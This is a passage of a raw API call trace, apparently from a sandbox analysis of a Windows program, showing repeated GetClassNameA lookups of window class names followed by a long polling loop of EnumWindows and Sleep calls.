lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.107] GetClassNameA (in: hWnd=0x102b2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.107] GetClassNameA (in: hWnd=0x102a6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.107] GetClassNameA (in: hWnd=0x102a0, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.107] GetClassNameA (in: hWnd=0x10296, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.107] GetClassNameA (in: hWnd=0x1028c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.107] GetClassNameA (in: hWnd=0x1027a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.107] GetClassNameA (in: hWnd=0x10278, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.107] GetClassNameA (in: hWnd=0x10276, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.107] GetClassNameA (in: hWnd=0x10270, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.108] GetClassNameA (in: hWnd=0x1026e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.108] GetClassNameA (in: hWnd=0x10266, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.108] GetClassNameA (in: hWnd=0x10264, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.108] GetClassNameA (in: hWnd=0x1024a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.108] GetClassNameA (in: hWnd=0x1023e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.108] GetClassNameA (in: hWnd=0x1023c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.108] GetClassNameA (in: hWnd=0x1023a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.108] GetClassNameA (in: hWnd=0x10238, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.108] GetClassNameA (in: hWnd=0x10236, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.108] GetClassNameA (in: hWnd=0x10234, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.108] GetClassNameA (in: hWnd=0x10232, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.108] GetClassNameA (in: hWnd=0x10230, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.108] GetClassNameA (in: hWnd=0x1022c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.108] GetClassNameA (in: hWnd=0x10228, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.108] GetClassNameA (in: hWnd=0x10216, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.108] GetClassNameA (in: hWnd=0x1020a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.108] GetClassNameA (in: hWnd=0x10208, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.108] GetClassNameA (in: hWnd=0x3003a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.108] GetClassNameA (in: hWnd=0x801ea, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.109] GetClassNameA (in: hWnd=0x101d4, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.109] GetClassNameA (in: hWnd=0x101c8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.109] GetClassNameA (in: hWnd=0x101ac, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.109] GetClassNameA (in: hWnd=0x1014c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.109] GetClassNameA (in: hWnd=0x1011a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.109] GetClassNameA (in: hWnd=0x100e8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.109] GetClassNameA (in: hWnd=0x100e2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="MSCTFIME UI") returned 11 [0159.109] GetClassNameA (in: hWnd=0x100d8, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.109] GetClassNameA (in: hWnd=0xb0038, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.109] GetClassNameA (in: hWnd=0x20040, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.109] GetClassNameA (in: hWnd=0x10070, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0159.109] Sleep (dwMilliseconds=0x64) [0159.112] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.112] GetClassNameA (in: hWnd=0x100da, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Worker Window") returned 13 [0159.112] GetClassNameA (in: hWnd=0x10134, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0159.112] GetClassNameA (in: hWnd=0x200f2, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ForegroundStaging") returned 17 [0159.112] GetClassNameA (in: hWnd=0x10104, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0159.112] GetClassNameA (in: hWnd=0x10108, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0159.112] GetClassNameA (in: hWnd=0x1010a, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0159.112] GetClassNameA (in: hWnd=0x10106, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0159.112] GetClassNameA (in: hWnd=0x10102, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0159.112] GetClassNameA (in: hWnd=0x10100, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0159.112] GetClassNameA (in: hWnd=0x100fe, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0159.112] GetClassNameA (in: hWnd=0x100fc, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0159.112] GetClassNameA (in: hWnd=0x10176, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0159.112] GetClassNameA (in: hWnd=0x10168, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0159.112] GetClassNameA (in: hWnd=0x10158, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0159.112] GetClassNameA (in: hWnd=0x100fa, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0159.113] GetClassNameA (in: hWnd=0x100ec, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="ApplicationManager_ImmersiveShellWindow") returned 39 [0159.113] GetClassNameA (in: hWnd=0x1019c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0159.113] GetClassNameA (in: hWnd=0x1018c, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-0000000005C32F30-1b01546") returned 36 [0159.113] GetClassNameA (in: hWnd=0x10184, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="RawInputClass") returned 13 [0159.113] GetClassNameA (in: hWnd=0x1017e, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0159.113] GetClassNameA (in: hWnd=0x100c6, lpClassName=0xfe4fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0159.114] Sleep (dwMilliseconds=0x64) [0159.115] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.115] Sleep (dwMilliseconds=0x64) [0159.117] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.117] Sleep (dwMilliseconds=0x64) [0159.119] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.119] Sleep (dwMilliseconds=0x64) [0159.121] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.121] Sleep (dwMilliseconds=0x64) [0159.123] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.123] Sleep (dwMilliseconds=0x64) [0159.125] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.125] Sleep (dwMilliseconds=0x64) [0159.126] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.127] Sleep (dwMilliseconds=0x64) [0159.128] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.129] Sleep (dwMilliseconds=0x64) [0159.130] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.131] Sleep (dwMilliseconds=0x64) [0159.132] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.132] Sleep (dwMilliseconds=0x64) [0159.134] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.134] Sleep (dwMilliseconds=0x64) [0159.136] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.136] Sleep (dwMilliseconds=0x64) [0159.138] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.138] Sleep (dwMilliseconds=0x64) [0159.139] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.140] Sleep (dwMilliseconds=0x64) [0159.141] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.141] Sleep (dwMilliseconds=0x64) [0159.143] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.143] Sleep (dwMilliseconds=0x64) [0159.144] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.145] Sleep (dwMilliseconds=0x64) [0159.146] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.146] Sleep (dwMilliseconds=0x64) [0159.148] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.148] Sleep (dwMilliseconds=0x64) [0159.150] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.150] Sleep (dwMilliseconds=0x64) [0159.153] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.153] Sleep (dwMilliseconds=0x64) [0159.155] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.155] Sleep (dwMilliseconds=0x64) [0159.156] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.157] Sleep (dwMilliseconds=0x64) [0159.158] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.158] Sleep (dwMilliseconds=0x64) [0159.160] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.160] Sleep (dwMilliseconds=0x64) [0159.162] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.162] Sleep (dwMilliseconds=0x64) [0159.164] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.164] Sleep (dwMilliseconds=0x64) [0159.166] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.166] Sleep (dwMilliseconds=0x64) [0159.168] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.169] Sleep (dwMilliseconds=0x64) [0159.170] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.171] Sleep (dwMilliseconds=0x64) [0159.172] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.173] Sleep (dwMilliseconds=0x64) [0159.174] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.175] Sleep (dwMilliseconds=0x64) [0159.176] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.177] Sleep (dwMilliseconds=0x64) [0159.178] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.178] Sleep (dwMilliseconds=0x64) [0159.180] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.180] Sleep (dwMilliseconds=0x64) [0159.182] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.183] Sleep (dwMilliseconds=0x64) [0159.184] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.184] Sleep (dwMilliseconds=0x64) [0159.187] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.187] Sleep (dwMilliseconds=0x64) [0159.189] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.189] Sleep (dwMilliseconds=0x64) [0159.191] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.191] Sleep (dwMilliseconds=0x64) [0159.193] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.193] Sleep (dwMilliseconds=0x64) [0159.196] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.196] Sleep (dwMilliseconds=0x64) [0159.197] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.198] Sleep (dwMilliseconds=0x64) [0159.200] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.200] Sleep (dwMilliseconds=0x64) [0159.201] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.202] Sleep (dwMilliseconds=0x64) [0159.204] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.204] Sleep (dwMilliseconds=0x64) [0159.206] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.206] Sleep (dwMilliseconds=0x64) [0159.207] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.208] Sleep (dwMilliseconds=0x64) [0159.210] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.210] Sleep (dwMilliseconds=0x64) [0159.211] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.212] Sleep (dwMilliseconds=0x64) [0159.213] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.213] Sleep (dwMilliseconds=0x64) [0159.214] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.215] Sleep (dwMilliseconds=0x64) [0159.216] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.216] Sleep (dwMilliseconds=0x64) [0159.217] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.218] Sleep (dwMilliseconds=0x64) [0159.219] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.219] Sleep (dwMilliseconds=0x64) [0159.220] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.221] Sleep (dwMilliseconds=0x64) [0159.224] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.224] Sleep (dwMilliseconds=0x64) [0159.226] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.226] Sleep (dwMilliseconds=0x64) [0159.227] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.228] Sleep (dwMilliseconds=0x64) [0159.229] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.230] Sleep (dwMilliseconds=0x64) [0159.231] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.231] Sleep (dwMilliseconds=0x64) [0159.232] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.233] Sleep (dwMilliseconds=0x64) [0159.234] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.234] Sleep (dwMilliseconds=0x64) [0159.236] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.236] Sleep (dwMilliseconds=0x64) [0159.238] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.238] Sleep (dwMilliseconds=0x64) [0159.240] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.240] Sleep (dwMilliseconds=0x64) [0159.272] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.273] Sleep (dwMilliseconds=0x64) [0159.275] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.275] Sleep (dwMilliseconds=0x64) [0159.277] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.277] Sleep (dwMilliseconds=0x64) [0159.279] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.279] Sleep (dwMilliseconds=0x64) [0159.280] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.280] Sleep (dwMilliseconds=0x64) [0159.282] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.282] Sleep (dwMilliseconds=0x64) [0159.287] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.287] Sleep (dwMilliseconds=0x64) [0159.347] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.347] Sleep (dwMilliseconds=0x64) [0159.410] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.413] Sleep (dwMilliseconds=0x64) [0159.415] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.415] Sleep (dwMilliseconds=0x64) [0159.417] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.417] Sleep (dwMilliseconds=0x64) [0159.419] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.419] Sleep (dwMilliseconds=0x64) [0159.420] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.420] Sleep (dwMilliseconds=0x64) [0159.422] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.422] Sleep (dwMilliseconds=0x64) [0159.423] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.423] Sleep (dwMilliseconds=0x64) [0159.425] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.425] Sleep (dwMilliseconds=0x64) [0159.426] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.426] Sleep (dwMilliseconds=0x64) [0159.428] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.428] Sleep (dwMilliseconds=0x64) [0159.429] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.429] Sleep (dwMilliseconds=0x64) [0159.431] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.431] Sleep (dwMilliseconds=0x64) [0159.432] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.432] Sleep (dwMilliseconds=0x64) [0159.434] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.434] Sleep (dwMilliseconds=0x64) [0159.436] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.436] Sleep (dwMilliseconds=0x64) [0159.437] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.437] Sleep (dwMilliseconds=0x64) [0159.439] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.440] Sleep (dwMilliseconds=0x64) [0159.459] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.459] Sleep (dwMilliseconds=0x64) [0159.537] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.538] Sleep (dwMilliseconds=0x64) [0159.549] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.550] Sleep (dwMilliseconds=0x64) [0159.551] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.552] Sleep (dwMilliseconds=0x64) [0159.553] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.554] Sleep (dwMilliseconds=0x64) [0159.555] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.556] Sleep (dwMilliseconds=0x64) [0159.557] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.558] Sleep (dwMilliseconds=0x64) [0159.559] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.560] Sleep (dwMilliseconds=0x64) [0159.562] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.562] Sleep (dwMilliseconds=0x64) [0159.563] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.564] Sleep (dwMilliseconds=0x64) [0159.565] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.566] Sleep (dwMilliseconds=0x64) [0159.567] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.568] Sleep (dwMilliseconds=0x64) [0159.569] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.569] Sleep (dwMilliseconds=0x64) [0159.570] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.571] Sleep (dwMilliseconds=0x64) [0159.581] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.581] Sleep (dwMilliseconds=0x64) [0159.657] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.658] Sleep (dwMilliseconds=0x64) [0159.691] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.692] Sleep (dwMilliseconds=0x64) [0159.693] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.694] Sleep (dwMilliseconds=0x64) [0159.695] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.695] Sleep (dwMilliseconds=0x64) [0159.697] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.697] Sleep (dwMilliseconds=0x64) [0159.700] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.701] Sleep (dwMilliseconds=0x64) [0159.702] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.703] Sleep (dwMilliseconds=0x64) [0159.704] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.704] Sleep (dwMilliseconds=0x64) [0159.706] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.706] Sleep (dwMilliseconds=0x64) [0159.707] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.707] Sleep (dwMilliseconds=0x64) [0159.709] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.709] Sleep (dwMilliseconds=0x64) [0159.710] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.710] Sleep (dwMilliseconds=0x64) [0159.712] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.712] Sleep (dwMilliseconds=0x64) [0159.713] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.713] Sleep (dwMilliseconds=0x64) [0159.715] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.715] Sleep (dwMilliseconds=0x64) [0159.716] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.716] Sleep (dwMilliseconds=0x64) [0159.718] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.718] Sleep (dwMilliseconds=0x64) [0159.719] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.719] Sleep (dwMilliseconds=0x64) [0159.721] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.721] Sleep (dwMilliseconds=0x64) [0159.776] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.776] Sleep (dwMilliseconds=0x64) [0159.834] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.835] Sleep (dwMilliseconds=0x64) [0159.837] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.837] Sleep (dwMilliseconds=0x64) [0159.839] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.839] Sleep (dwMilliseconds=0x64) [0159.840] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.841] Sleep (dwMilliseconds=0x64) [0159.843] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.843] Sleep (dwMilliseconds=0x64) [0159.844] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.845] Sleep (dwMilliseconds=0x64) [0159.846] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.846] Sleep (dwMilliseconds=0x64) [0159.848] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.848] Sleep (dwMilliseconds=0x64) [0159.850] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.850] Sleep (dwMilliseconds=0x64) [0159.852] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.852] Sleep (dwMilliseconds=0x64) [0159.855] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.855] Sleep (dwMilliseconds=0x64) [0159.857] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.857] Sleep (dwMilliseconds=0x64) [0159.858] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.859] Sleep (dwMilliseconds=0x64) [0159.860] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.860] Sleep (dwMilliseconds=0x64) [0159.862] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.862] Sleep (dwMilliseconds=0x64) [0159.864] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.865] Sleep (dwMilliseconds=0x64) [0159.892] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.892] Sleep (dwMilliseconds=0x64) [0159.896] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0159.897] Sleep (dwMilliseconds=0x64) [0160.036] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.036] Sleep (dwMilliseconds=0x64) [0160.039] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.039] Sleep (dwMilliseconds=0x64) [0160.041] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.041] Sleep (dwMilliseconds=0x64) [0160.050] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.050] Sleep (dwMilliseconds=0x64) [0160.052] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.052] Sleep (dwMilliseconds=0x64) [0160.054] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.054] Sleep (dwMilliseconds=0x64) [0160.056] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.056] Sleep (dwMilliseconds=0x64) [0160.057] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.057] Sleep (dwMilliseconds=0x64) [0160.059] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.059] Sleep (dwMilliseconds=0x64) [0160.063] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.063] Sleep (dwMilliseconds=0x64) [0160.146] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.147] Sleep (dwMilliseconds=0x64) [0160.170] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.171] Sleep (dwMilliseconds=0x64) [0160.172] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.172] Sleep (dwMilliseconds=0x64) [0160.174] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.174] Sleep (dwMilliseconds=0x64) [0160.176] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.176] Sleep (dwMilliseconds=0x64) [0160.177] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.177] Sleep (dwMilliseconds=0x64) [0160.179] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.179] Sleep (dwMilliseconds=0x64) [0160.181] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.181] Sleep (dwMilliseconds=0x64) [0160.182] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.182] Sleep (dwMilliseconds=0x64) [0160.184] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.184] Sleep (dwMilliseconds=0x64) [0160.186] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.186] Sleep (dwMilliseconds=0x64) [0160.187] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.187] Sleep (dwMilliseconds=0x64) [0160.189] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.189] Sleep (dwMilliseconds=0x64) [0160.190] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0160.190] Sleep (dwMilliseconds=0x64) [0160.192] EnumWindows 